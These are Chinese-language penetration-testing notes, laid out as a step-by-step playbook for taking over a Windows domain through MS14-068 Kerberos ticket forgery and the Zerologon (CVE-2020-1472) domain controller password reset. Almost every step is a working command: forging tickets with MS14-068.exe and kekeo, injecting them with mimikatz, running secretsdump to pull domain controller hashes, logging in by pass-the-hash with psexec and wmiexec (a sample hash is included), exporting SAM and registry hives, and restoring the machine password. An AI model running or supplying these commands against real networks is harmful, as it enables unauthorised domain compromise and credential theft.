MS14-068提权
需要在域内主机使用,提升普通域用户账户为域管理员账户
范围:
Windows Vista
Windows Server 2003
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows 8 & Windows 8.1
Windows Server 2012 & Windows Server 2012 R2
补丁:
3011780
利用:
MS14-068.exe https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
过程:
1、获取域成员sid
whoami /user
或
wmic useraccount get name,sid
2、利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书
MS14-068.exe -u 用户名@域名 -p 域用户密码/--rc4 hash -s 域用户SID -d 完整主机名(主机名+域名)
3、 利用 mimikatz.exe 将证书导入。导入之前,清空票据缓存
DC的IP地址
mimikatz.exe "kerberos::ptc [email protected]" exit
4、利用IPC管道执行命令
补充:
pth:pass the hash(任何windows均可用)
ptt:pass the ticket
ptc:pass the cache
Kekeo
内网集成工具
域内主机运行,同ms14068
kekeo.exe "exploit::ms14068 /domain:safe.icq /user:c2 /password:qwe123 /ptt" "exit"
注:/password可换为/rc4,使用hash登录
Zerologon
CVE-2020-1472
域内域外都可用,无限制,版本为2020及以前版本
过程:
CVE-2020-1472攻击域控-重置域控主机hash为空(会导致与用户认证失效)-使用空密码hash抓取域控账户密码-使用域控本地账户登录域控-恢复密码
msf或者cve脚本
查看域控主机名:
net user /domain
net time /domain
1、
python cve…exploit.py -t ip -n 主机名(慢的雅痞)
msf直接打
info xx查看payload信息
set action xx 启用功能模块
拿到空密码hash
2、抓取域控hash
python secretsdump.py 域名/域控主机名$@域控ip -no-pass
或者跟置空的hash,拿到域控的账号信息
注:域控账号无法使用,需要本地administrator账户登录
3、使用抓取hash登录
python psexec.py -hashes hash 域名/administrator@域控ip cmd
或
python .\wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:99d85d9d737629f593b11771123df22c icq.com/[email protected]
使用域控administrator账户登录(net use)
4、上线cs,reg导出sam的账号密码文件,下载到本地
reg save hklm\sam sam.bak # 导出文件,system、security,也可选择ntds.dit(域账户信息)
5、mimikatz解密文件,抓取原密码hash
或
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
拿到$MACHINE.ACC的hash,即原hash(也可以时候其他hash,根据还原脚本选择)
6、还原hash(一小时以内)
NTDS.DIT与sam同步密码,以NTDS.DIT为主
python reinstall_original_pw.py 主机名 ip hash
注:根据脚本介绍选择hash类型
或使用msf的zerologon模块下RESTORE功能,一键还原
info查看详细信息
7、cs重新抓取hash,查看是否还原